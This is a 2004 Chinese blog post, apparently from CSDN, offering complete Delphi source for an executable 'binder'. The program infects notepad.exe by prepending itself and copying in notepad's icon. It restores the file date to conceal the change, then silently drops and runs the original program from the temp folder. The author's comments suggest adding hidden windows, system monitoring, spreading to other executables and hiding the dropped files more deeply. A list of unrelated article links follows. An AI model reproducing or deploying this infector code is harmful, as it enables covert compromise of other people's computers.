捆绑执行文件新思维(第二版)

原创 2004年10月07日 16:13:00


最新功能:与其它程序捆绑后,图标为其它程序的图标
这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存
如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...

程序中几个数字的确定:
1  在本程序编译后用Aspack.Exe压缩,大小为41472
2  经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据
   位于从第40752字节开始共640字节,图标后还有81字节

与其它程序捆绑的过程:
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部

怎么找到图标的位置:
将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制
编辑软件载入,查找"99 99 99"字符串即可。以后你可为程序加上其它合适的图标。
十六进制编辑软件:常用UltraEdit。
本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题:
    http://guanbh.top263.net/download/hexedit.exe
}
program exe2;

uses
  classes,
  Tlhelp32,
  windows,
  graphics,
  ShellAPI,
  SysUtils;

{$R *.RES}
var
  lppe:TProcessEntry32;
  found:boolean;
  handle:THandle;
  ProcessStr,ExeName:string;
  WinDir:pchar;
const
  MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}

procedure copy2(s:string);
var
  s1,s2,IcoStream:TMemoryStream;
  File2:TFilestream;
  ch:array[0..1] of char;
  ss:string;
  filetime,fhandle:integer;
  l:integer;
  File2Icon:Ticon;
begin
  {若文件s不存在}
  if FileExists(s)=False then exit;
  try
    {若文件不含图标,就不捆绑}
    File2Icon:=Ticon.Create;
    l:=extracticon(handle,pchar(s),0);
    if l=0 then
    begin
      File2Icon.Free;
      exit;
    end
    else
    begin
       {提取被捆绑程序图标}
       File2Icon.Handle:=extracticon(handle,pchar(s),0);
       IcoStream:=TMemoryStream.Create;
       File2Icon.SaveToStream(IcoStream);
       File2Icon.Free;
    end;
    {判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过}
    File2:=TFilestream.Create(s,fmopenread);
    if File2.Size>MySize then
    begin
      File2.Position:=MySize;
      File2.Read(ch,2);
      ss:=copy(ch,1,2);
      if ss='MZ' then
      begin
        File2.Free;
        exit;
      end;
    end;
    File2.Free;
    {将本文件与文件s合并 本文件+s=s}
    s2:=TMemoryStream.Create;
    s2.loadfromfile(ExeName);
    s1:=TMemoryStream.Create;
    {
    加入本程序的前部40751字节
    第40752字节开始共640字节为图标数据
    !!以下数字 40751,81要根据实际情况修改!!
     }
    s1.copyfrom(s2,40751);
    {将图标换为被捆绑程序图标,图标大小为766}
    IcoStream.Position:=126;
    s1.CopyFrom(IcoStream,640);
    IcoStream.Free;
    s2.Position:=40751+640;
    {加入本程序的后部81字节}
    s1.CopyFrom(s2,81);
    s2.clear;
    s2.loadfromfile(s);
    s1.seek(s1.size,soFromBeginning);
    {加入被捆绑程序全部}
    s1.copyfrom(s2,s2.size);
    s2.free;
    {得到文件s的日期}
    fhandle:=FileOpen(s, fmOpenread);
    filetime:=filegetdate(fhandle);
    fileclose(fhandle);
    s1.SaveToFile(s);
    {恢复文件s的日期}
    fhandle:=FileOpen(s, fmOpenwrite);
    filesetdate(fhandle,filetime);
    fileclose(fhandle);
    s1.free;
  except end;
end;

procedure CreateFileAndRun;
var
  s1,s2:TMemoryStream;
  TempDir:pchar;
  cmdstr:string;
  a:integer;
Begin
  s1:=TMemoryStream.Create;
  s1.loadfromfile(ExeName);
  if s1.Size=MySize then
  begin
    s1.Free;
    exit;
  end;
  s1.seek(MySize,soFromBeginning);
  s2:=TMemoryStream.Create;
  s2.copyfrom(s1,s1.Size-MySize);
  GetMem(TempDir,255);
  GetTempPath(255,TempDir);
  try
    {
    把文件释放到临时目录。
    如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,
    如 c:/windows(or winnt)/d...(☆这是个什么目录?你去研究研究吧!☆)
    }
    s2.SaveToFile(TempDir+'/'+ExtractFileName(ExeName));
  except end;
    cmdstr:='';
    a:=1;
    while ParamStr(a)<>'' do begin
      cmdstr:=cmdstr+ParamStr(a)+' ';
      inc(a);
    end;
  {运行真正的程序文件}
  winexec(pchar(TempDir+'/'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
  freemem(TempDir);
  s2.free;
  s1.free;
end;

begin
  GetMem(WinDir,255);
  GetWindowsDirectory(WinDir,255);
  ExeName:=ParamStr(0);
  handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
  found:=Process32First(handle,lppe);
  ProcessStr:='';
  while found do
  begin
    ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}
    found:=Process32Next(handle,lppe);
  end;
  {如果notepad没运行,就与它捆在一起}
  if pos(WinDir+'/notepad.exe',ProcessStr)=0 then
  begin
    copy2(WinDir+'/notepad.exe');
  end;
  {其它需要捆绑的文件
  if pos(...,ProcessStr)=0 then
  begin
    copy2(...);
  end;
  ...
  }
  freemem(WinDir);
  {
  你想用这个程序干点其它的什么...
  }
  CreateFileAndRun;{释放文件并带参数运行}
end.

捆绑执行文件新思维

{最新功能:与其它程序捆绑后,图标为其它程序的图标   这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存   如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %...
  • IBM386
  • IBM386
  • 2006年03月25日 13:39
  • 604

《锋利的jQuery第二版》

jquery与其他库相冲突 var $j = JQuery.noConflict(); // 如果table下tbody中的每一行下的每一列的checkbox没有禁选 $('...
  • kingrome2017
  • kingrome2017
  • 2017年11月05日 17:06
  • 259

Python基础教程(第二版)下载地址

在大家论坛上看到了这个链接,资料内容完整,讲解详细,适合Python入门。 下载地址:  Beginning.Python.From.Novice.to.Professional,2nd.Edit...
  • zhenger0729
  • zhenger0729
  • 2015年05月20日 19:55
  • 1205

如何将多个文件捆绑成一个可执行文件

如何将多个文件捆绑成一个可执行文件作者:未来工作室(Future Studio)徐景周 下载示例程序代码    将多个文件合并成一个最终可执行文件,运行这个最终文件时,就相当于运行...
  • usertony
  • usertony
  • 2013年10月25日 15:12
  • 979

Vim/Vi实用技巧(第二版)

Vim/Vi实用技巧1、导入文件 :r [文件名] #导入到当前编辑的文件中如 :r /etc/inittab  文件上部为/etc/services文件,下部为/etc/inittab文件 2、执...
  • hanqing280441589
  • hanqing280441589
  • 2014年09月25日 17:00
  • 4584

《第一行代码(第二版)》的学习(一)

application中 android:supportsRtl=“true” Rtl = right - to - left 从右向左的布局;不要使用margin right 使用 marg...
  • Juice_Lover
  • Juice_Lover
  • 2016年12月27日 16:36
  • 937

HeadFirstPython---------(二)第四章,持久存储,数据保存到文件

1、将基于内存的数据存储到磁盘上,这正是持久存储的含义。 sketch.txt文件内容如下: Man: Is this the right room for an argument? Other M...
  • huanhuanq1209
  • huanhuanq1209
  • 2017年06月07日 14:31
  • 213

《java语言程序设计》(第二版)——笔记(一)

作者:郎波     出版社:清华大学出版社         第一章   绪论 1.java语言特点:简单,面向对象,分布式,解释型,强壮,安全,体系结构中立,可移植,高性能,多线程,动态。 简单:去掉...
  • sunset91
  • sunset91
  • 2013年11月21日 20:58
  • 780

计算机图形学基础(第二版)陆枫 何云峰(1)

OpenGL的主要功能                                          OpenGL的绘制流程: ...
  • Hickandsalmon
  • Hickandsalmon
  • 2016年10月12日 19:38
  • 1087

拒绝从入门到放弃_《Python 核心编程 (第二版)》必读目录

目录目录 关于这本书 必看知识点 最后关于这本书《Python 核心编程 (第二版)》是一本 Python 编程的入门书,分为 Python 核心(其实并不核心,应该叫基础) 和 高级主题 两大部分,...
  • Jmilk
  • Jmilk
  • 2016年10月07日 15:20
  • 1866
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:捆绑执行文件新思维(第二版)
举报原因:
原因补充:

(最多只允许输入30个字)